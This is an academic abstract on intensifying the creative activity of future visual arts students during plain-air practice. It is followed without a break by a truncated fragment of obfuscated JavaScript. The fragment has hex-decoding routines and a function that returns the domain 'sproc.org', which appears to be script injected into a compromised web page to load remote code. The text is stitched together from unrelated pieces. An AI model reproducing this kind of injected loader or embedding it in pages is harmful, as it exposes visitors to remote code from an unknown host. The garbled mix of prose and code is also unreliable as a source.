Abstract
The article reviews systematization and elaboration of artpedagogical nature of the “professional and creative activity of future visual arts teachers” concept together with its “performance”, “creativity” and “activity” categories, and the opportunities that plain-air practice provides to a teacher’s professional growth. The author has identified and substantiated the additional reserves of students’ creative activity intensification during plain-air practice; the author has also reviewed pedagogical conditions facilitating the intensification of professional and creative activity of students during plain-air practice.The article reviews a breakthrough approach to plain-air practice process aimed at the intensification of creative activity of students. The author has developed theoretical principles for the intensification of professional and creative activity of students during plain-air practice, including specific components, criteria and metrics. In general, the use of modern pedagogical techniques in artpedagogical education ensures proactive attitude of future specialists preparing for the upcoming professional activity. It improves the students’ understanding of the importance of their future profession, their motivation for achievement of better results in their professional and creative activity.Keywords: Artpedagogy, proactiveness, creativity, activity, plain-air practice, integration, imaginative cognition specificity.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "sproc.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e